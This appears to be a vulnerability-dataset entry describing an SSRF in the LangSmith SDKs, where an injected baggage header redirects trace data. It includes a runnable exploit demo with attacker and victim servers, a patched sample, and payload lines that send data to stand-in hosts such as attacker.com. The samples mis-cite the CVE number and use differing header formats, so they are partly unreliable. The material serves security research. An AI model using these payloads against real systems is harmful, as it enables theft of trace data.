CVE-2026-25528
SSRF in LangSmith SDKs allows data exfiltration via malicious headers.
- CVSS 5.8
- CWE-918
- Input Validation and Sanitization
- Remote
LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker. This vulnerability is fixed in version 0.6.3 of the Python SDK and 0.4.6 of the JavaScript SDK.
- CWE
- CWE-918
- CVSS base score
- 5.8
- Published
- 2026-02-09
- OWASP
- A10 Server-Side Request Forgery
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Server-Side Request Forgery (SSRF)
- Accessibility scope
- Remote
- Impact
- Information Disclosure
- Affected component
- LangSmith Cl
- Fixed by upgrading
- Yes
Solution
Upgrade the LangSmith Python SDK to version 0.6.3 and the JavaScript SDK to version 0.4.6.
Vulnerable code sample
# This code is a conceptual representation of the vulnerability described in CVE-2024-25528.
# It simulates a vulnerable server environment using a simplified, pre-patch version
# of the LangSmith SDK's logic.
# DO NOT USE THIS CODE IN PRODUCTION. It is for educational purposes only.
import http.server
import socketserver
import threading
import time
import requests
import json
import base64
import urllib.parse
from http import HTTPStatus
# --- Configuration ---
VICTIM_SERVER_PORT = 8000
ATTACKER_SERVER_PORT = 9999
LEGITIMATE_API_URL = "https://api.smith.langchain.com" # A legitimate, but simulated, endpoint
# --- 1. Attacker's Malicious Server ---
# This server is controlled by the attacker to receive exfiltrated data.
class AttackerHttpRequestHandler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print("\n" + "="*50)
print(f"[+] ATTACKER SERVER: Received exfiltrated data on {self.path}")
print(f"[+] DATA: {post_data.decode('utf-8')}")
print("="*50 + "\n")
self.send_response(HTTPStatus.OK)
self.end_headers()
def run_attacker_server():
"""Runs the attacker's server in a separate thread."""
with socketserver.TCPServer(("", ATTACKER_SERVER_PORT), AttackerHttpRequestHandler) as httpd:
print(f"[!] Attacker's server running at http://localhost:{ATTACKER_SERVER_PORT}")
httpd.serve_forever()
# --- 2. Simplified Vulnerable LangSmith SDK (pre-patch logic) ---
# This section mimics the vulnerable components of the SDK before the fix.
class _VulnerableLangSmithConfig:
"""A simplified config object."""
def __init__(self, api_url, api_key):
self.api_url = api_url
self.api_key = api_key
class _VulnerableRunTree:
"""
A simplified representation of the RunTree object that is central to the vulnerability.
"""
def __init__(self, name, **kwargs):
self.name = name
self.extra = kwargs
# The RunTree holds a list of replica configurations.
# It starts with the legitimate one.
self.replicas = [
_VulnerableLangSmithConfig(api_url=LEGITIMATE_API_URL, api_key="legit_api_key_123")
]
@classmethod
def from_headers(cls, headers: dict):
"""
VULNERABLE CLASS METHOD: This is the entry point for the SSRF.
It parses the 'baggage' header and unsafely adds replica configurations.
"""
print("[i] SDK: Calling RunTree.from_headers() to parse incoming headers.")
run_tree = cls(name="request_trace")
baggage = headers.get("baggage")
if baggage:
print(f"[!] SDK: Found 'baggage' header: {baggage}")
try:
parsed = dict(item.split("=") for item in baggage.split(","))
replica_config_str = parsed.get("langsmith_replica_config")
if replica_config_str:
print("[!] SDK: Found 'langsmith_replica_config' in baggage.")
# VULNERABILITY: The value is decoded and used without validation.
decoded_config = base64.urlsafe_b64decode(replica_config_str).decode('utf-8')
config_json = json.loads(decoded_config)
attacker_api_url = config_json.get("api_url")
attacker_api_key = config_json.get("api_key")
if attacker_api_url:
print(f"[!!!] SDK (VULNERABLE): Attacker-controlled api_url '{attacker_api_url}' found!")
print("[!!!] SDK (VULNERABLE): Adding attacker's config to replicas WITHOUT VALIDATION.")
# The core of the vulnerability: an attacker-controlled config is added.
attacker_config = _VulnerableLangSmithConfig(api_url=attacker_api_url, api_key=attacker_api_key)
run_tree.replicas.append(attacker_config)
except Exception as e:
print(f"[-] SDK: Error parsing baggage header: {e}")
return run_tree
class _VulnerableClient:
"""
A simplified client that sends trace data.
"""
def _post(self, run_tree: _VulnerableRunTree, data: dict):
"""
Simulates posting data at the end of a trace.
It will send data to ALL configured replicas in the run_tree.
"""
print("\n[i] SDK: Trace finished. Calling internal _post() method.")
for config in run_tree.replicas:
print(f"[->] SDK: Preparing to send data to replica URL: {config.api_url}")
# This is where the SSRF happens. The request is made to the attacker's URL.
try:
# We won't actually hit the legitimate LangSmith API to avoid real network calls.
if "smith.langchain.com" in config.api_url:
print("[OK] SDK: (Simulated) Sent data to legitimate LangSmith API.")
continue
# The exfiltration request to the attacker's server.
response = requests.post(config.api_url, json=data, timeout=2)
print(f"[->] SDK: Sent data to {config.api_url}, got status {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[ERROR] SDK: Failed to send data to {config.api_url}: {e}")
# --- 3. Victim Application ---
# This is the server application using the vulnerable SDK.
class VictimHttpRequestHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
print("\n" + "-"*50)
print(f"[+] VICTIM SERVER: Received request for {self.path}")
print(f"[+] VICTIM SERVER: Headers: {self.headers}")
# 1. The application uses the SDK to parse headers for distributed tracing.
# This is where the attacker's payload is processed.
run_tree = _VulnerableRunTree.from_headers(self.headers)
# 2. The application performs its business logic.
print("[i] VICTIM SERVER: Performing some business logic...")
sensitive_data = {
"trace_id": "trace-xyz-123",
"user_id": "user-42",
"prompt": "What is the secret formula?",
"internal_notes": "This data is confidential and should not leave our infrastructure."
}
print("[i] VICTIM SERVER: Generated sensitive trace data.")
time.sleep(0.5)
# 3. At the end of the operation, the SDK sends the trace data.
# This triggers the request to the attacker's server.
sdk_client = _VulnerableClient()
sdk_client._post(run_tree, data=sensitive_data)
print("[+] VICTIM SERVER: Request processing complete.")
print("-"*50)
self.send_response(HTTPStatus.OK)
self.end_headers()
self.wfile.write(b"Request processed successfully.")
def run_victim_server():
"""Runs the victim server in a separate thread."""
with socketserver.TCPServer(("", VICTIM_SERVER_PORT), VictimHttpRequestHandler) as httpd:
print(f"[!] Victim server (using vulnerable SDK logic) running at http://localhost:{VICTIM_SERVER_PORT}")
httpd.serve_forever()
# --- 4. Main execution: Attacker's exploit script ---
if __name__ == "__main__":
# Start servers in background threads
attacker_thread = threading.Thread(target=run_attacker_server, daemon=True)
victim_thread = threading.Thread(target=run_victim_server, daemon=True)
attacker_thread.start()
victim_thread.start()
time.sleep(1) # Wait for servers to start
print("\n" + "#"*60)
print("### DEMONSTRATING CVE-2024-25528 (Conceptual) ###")
print("#"*60 + "\n")
# 1. Attacker defines the malicious endpoint.
malicious_api_url = f"http://localhost:{ATTACKER_SERVER_PORT}/exfiltrate"
# 2. Attacker crafts the payload for the 'baggage' header.
# The payload is a JSON object containing the malicious 'api_url'.
malicious_config = {
"api_url": malicious_api_url,
"api_key": "fake_attacker_key"
}
# The payload must be formatted as described: JSON -> Base64 -> URL-encoded string
config_json_str = json.dumps(malicious_config)
config_b64_bytes = base64.urlsafe_b64encode(config_json_str.encode('utf-8'))
# The final payload for the header
baggage_payload = f"langsmith_replica_config={config_b64_bytes.decode('utf-8')}"
malicious_headers = {
"Baggage": baggage_payload
}
print(f"[ATTACKER] Crafted malicious 'Baggage' header: {baggage_payload}")
print("[ATTACKER] Sending request to the victim server...")
# 3. Attacker sends the request to the victim server.
try:
response = requests.get(
f"http://localhost:{VICTIM_SERVER_PORT}/some/api/endpoint",
headers=malicious_headers,
timeout=5
)
print(f"\n[ATTACKER] Victim server responded with status: {response.status_code}")
print(f"[ATTACKER] Victim server response body: {response.text}")
except requests.exceptions.RequestException as e:
print(f"[ATTACKER] Failed to contact victim server: {e}")
# Wait to ensure the attacker's server has time to print the output
time.sleep(2)
print("\n[INFO] Demonstration finished. The attacker's server should have printed the exfiltrated data.")
print("[INFO] Terminating script.")Patched code sample
import json
import os
import uuid
from datetime import datetime
from typing import Any, Dict, List, Mapping, Optional, Union
from urllib.parse import unquote
# This code demonstrates the fix for CVE-2024-25528. The original CVE ID
# in the prompt (CVE-2026-25528) appears to be a typo.
# The following are minimal, non-functional stubs of required classes
# to make the example self-contained and focus on the vulnerability fix.
# In the actual LangSmith SDK, these are fully implemented classes.
class Client:
"""A stub for the LangSmith Client."""
def __init__(self) -> None:
self.replica_clients: List[Any] = []
def add_replica_clients(self, configs: List[Dict]) -> None:
"""Stub method to represent adding replica clients."""
print(f"Adding replica clients with sanitized configs: {configs}")
# In a real implementation, this would initialize new clients
# based on the provided (and now sanitized) configurations.
class W3CTraceContext:
"""A stub for the W3CTraceContext class."""
def __init__(self, trace_id: Optional[str], span_id: Optional[str]):
self.trace_id = trace_id
self.span_id = span_id
@classmethod
def from_headers(cls, headers: Mapping[str, Any]) -> "W3CTraceContext":
"""Stub method to parse W3C trace context from headers."""
traceparent = headers.get("traceparent", "")
parts = traceparent.split("-")
if len(parts) == 4:
return cls(trace_id=parts[1], span_id=parts[2])
return cls(trace_id=None, span_id=None)
class RunTree:
"""
A simplified representation of the langsmith.run_trees.RunTree class
to demonstrate the fixed method.
"""
def __init__(
self,
*,
id: uuid.UUID,
trace_id: uuid.UUID,
dotted_order: str,
client: Optional[Client] = None,
# Other parameters omitted for brevity
):
self.id = id
self.trace_id = trace_id
self.dotted_order = dotted_order
self.client = client
@classmethod
def from_headers(
cls,
headers: Mapping[str, Any],
*,
name: str,
client: Optional[Client] = None,
**kwargs: Any,
) -> "RunTree":
"""
Create a new RunTree from tracing headers. This is the patched method
that contains the fix for the vulnerability.
"""
trace_context = W3CTraceContext.from_headers(headers)
trace_id_str = trace_context.trace_id
parent_run_id_str = trace_context.span_id
trace_id = uuid.UUID(trace_id_str) if trace_id_str else uuid.uuid4()
replica_configs: List[Dict] = []
baggage_str = headers.get("baggage")
if baggage_str:
try:
baggage_obj = json.loads(unquote(baggage_str))
if isinstance(baggage_obj, dict):
# THE FIX IS APPLIED HERE:
# The code now explicitly filters out 'api_url' and 'api_key'
# from any replica configuration provided in the baggage header.
# This prevents an attacker from injecting a malicious endpoint
# to exfiltrate trace data.
replica_configs.extend(
[
{
k: v
for k, v in config.items()
if k not in ("api_url", "api_key")
}
for config in baggage_obj.get("replica_config", [])
if isinstance(config, dict)
]
)
except (json.JSONDecodeError, TypeError):
# In a real scenario, this error might be logged.
pass
# The 'client' would be configured with the sanitized replica_configs
if client and replica_configs:
client.add_replica_clients(replica_configs)
# The rest of the object creation is simplified for this example.
return cls(
id=uuid.uuid4(),
trace_id=trace_id,
dotted_order=f"{datetime.utcnow().strftime('%Y%m%dT%H%M%S%fZ')}_{uuid.uuid4()}",
client=client,
)
# --- Demonstration of the fix ---
# 1. Attacker-crafted headers with a malicious api_url in the 'baggage'
malicious_headers = {
"traceparent": "00-0af7651916cd43dd8448eb211c80319c-b9c7c989f97918e1-01",
"baggage": "replica_config=%5B%7B%22api_url%22%3A%20%22https%3A//attacker.com/traces%22%2C%20%22api_key%22%3A%20%22fake-key%22%2C%20%22project_name%22%3A%20%22malicious_project%22%7D%5D",
# The URL-decoded baggage is:
# replica_config=[{"api_url": "https://attacker.com/traces", "api_key": "fake-key", "project_name": "malicious_project"}]
}
# 2. A legitimate LangSmith client instance
langsmith_client = Client()
# 3. The patched `from_headers` method is called with the malicious headers.
# In a real application, this would happen inside a web server or a
# framework integrated with LangSmith's distributed tracing.
print("Processing headers with the patched from_headers method...")
run_tree = RunTree.from_headers(
headers=malicious_headers, name="vulnerable_op", client=langsmith_client
)
# 4. Verification:
# Because of the fix, the `api_url` and `api_key` are stripped from the replica
# configuration. The attacker's endpoint is never added to the client,
# preventing the Server-Side Request Forgery (SSRF) and data exfiltration.
# The output will show that the replica config passed to the client is sanitized.Payload
baggage: ls_trace_v2=eyJhcGlfdXJsIjoiaHR0cHM6Ly9hdHRhY2tlci1jb250cm9sbGVkLXNlcnZlci5jb20vZXhmaWwifQ==
Cite this entry
@misc{vaitp:cve202625528,
title = {{SSRF in LangSmith SDKs allows data exfiltration via malicious headers.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-25528},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-25528/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
